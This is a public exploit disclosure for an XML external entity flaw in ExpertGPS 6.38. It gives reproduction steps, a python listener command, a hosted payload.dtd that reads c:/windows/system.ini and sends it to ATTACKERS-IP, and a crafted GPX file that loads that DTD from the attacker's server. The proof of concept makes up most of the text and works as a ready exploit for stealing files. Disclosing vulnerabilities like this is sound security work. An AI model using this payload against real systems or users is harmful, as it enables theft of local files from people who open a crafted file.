[+] Exploit Title: ExpertGPS 6.38 - XML External Entity Injection
[+] Date: 2019-12-07
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: https://www.topografix.com/
[+] Software Link: http://download.expertgps.com/SetupExpertGPS.exe
[+] Disclosed at: 7FEB2020
[+] Version: 6.38
[+] Tested on: Windows 10
[+] CVE: N/A
 
==================
Background:
==================
ExpertGPS 6.38 is GPS software, distributed by TopoGrafix, that is designed to sync with commercial off-the-shelf GPS devices (Garmin, Magellin, etc.) and organize GPS waypoint data.  One of the main file formats for saving GPS data is the .gpx format which is based on XML. 
 
==================
Vulnerability:
==================
By having a user import a crafted .gpx file (XML Based GPS data file), it is possible to execute a XXE injection which retrieves local files and exfiltrates them to a remote attacker.
1.)Open ExpertGPS.exe
2.)Select File -> Import Data from Other Programs...
3.)Select the crafted route.gpx file (with listener open on ATTACKERS-IP) and click "Open".
 
==================
Proof of Concept:
==================
 
a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting payload.dtd)
 
b.) Hosted "payload.dtd"
 
<?xml version="1.0" encoding="utf-8" ?>
<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKERS-IP?%data;'>">
 
 
c.) Exploited "route.xml"
 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % sp SYSTEM "http://ATTACKERS-IP:9999/payload.dtd">
%sp;
%param1;
%exfil;
]>
<gpx xmlns="http://www.topografix.com/GPX/1/1" version="1.1" creator="ExpertGPS 6.38 using Garmin Colorado 400t" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wptx1="http://www.garmin.com/xmlschemas/WaypointExtension/v1" xmlns:gpxx="http://www.garmin.com/xmlschemas/GpxExtensions/v3" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd http://www.topografix.com/GPX/gpx_overlay/0/3 http://www.topografix.com/GPX/gpx_overlay/0/3/gpx_overlay.xsd http://www.topografix.com/GPX/gpx_modified/0/1 http://www.topografix.com/GPX/gpx_modified/0/1/gpx_modified.xsd http://www.topografix.com/GPX/Private/TopoGrafix/0/4 http://www.topografix.com/GPX/Private/TopoGrafix/0/4/topografix.xsd http://www.garmin.com/xmlschemas/WaypointExtension/v1 http://www8.garmin.com/xmlschemas/WaypointExtensionv1.xsd http://www.garmin.com/xmlschemas/GpxExtensions/v3 http://www.garmin.com/xmlschemas/GpxExtensionsv3.xsd">
<metadata>
<bounds minlat="38.89767500" minlon="-77.03654700" maxlat="38.89767500" maxlon="-77.03654700"/>
<extensions>
<time xmlns="http://www.topografix.com/GPX/gpx_modified/0/1">2019-12-08T03:35:44.731Z</time>
<active_point xmlns="http://www.topografix.com/GPX/Private/TopoGrafix/0/4" lat="38.89767500" lon="-77.03654700">
</active_point>
</extensions>
</metadata>
<wpt lat="38.89767500" lon="-77.03654700">
<time>2019-12-08T03:35:44.732Z</time>
<name>1600PennsylvaniaAvenuenWashingt</name>
<cmt>1600 Pennsylvania Avenue
Washington</cmt>
<desc>1600 Pennsylvania Avenue
Washington, DC 20500</desc>
<sym>City (Small)</sym>
<type>Address</type>
<extensions>
<label xmlns="http://www.topografix.com/GPX/gpx_overlay/0/3">
<label_text>1600 Pennsylvania Avenue
Washington, DC 20500</label_text>
</label>
<gpxx:WaypointExtension>
<gpxx:Address>
<gpxx:StreetAddress>1600 Pennsylvania Avenue</gpxx:StreetAddress>
<gpxx:City>Washington</gpxx:City>
<gpxx:State>DC</gpxx:State>
<gpxx:Country>United States</gpxx:Country>
<gpxx:PostalCode>20500</gpxx:PostalCode>
</gpxx:Address>
</gpxx:WaypointExtension>
<wptx1:WaypointExtension>
<wptx1:Address>
<wptx1:StreetAddress>1600 Pennsylvania Avenue</wptx1:StreetAddress>
<wptx1:City>Washington</wptx1:City>
<wptx1:State>DC</wptx1:State>
<wptx1:Country>United States</wptx1:Country>
<wptx1:PostalCode>20500</wptx1:PostalCode>
</wptx1:Address>
</wptx1:WaypointExtension>
</extensions>
</wpt>
<extensions>
</extensions>
</gpx>


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Additional Attack Vectors:
==================
There are numerous places in the software that allow for importing/opening a .gpx file.  I did not test them all, but I strongly suspect them to all rely upon the same misconfigured XML Parser, and therefore be vulnerable to XXE.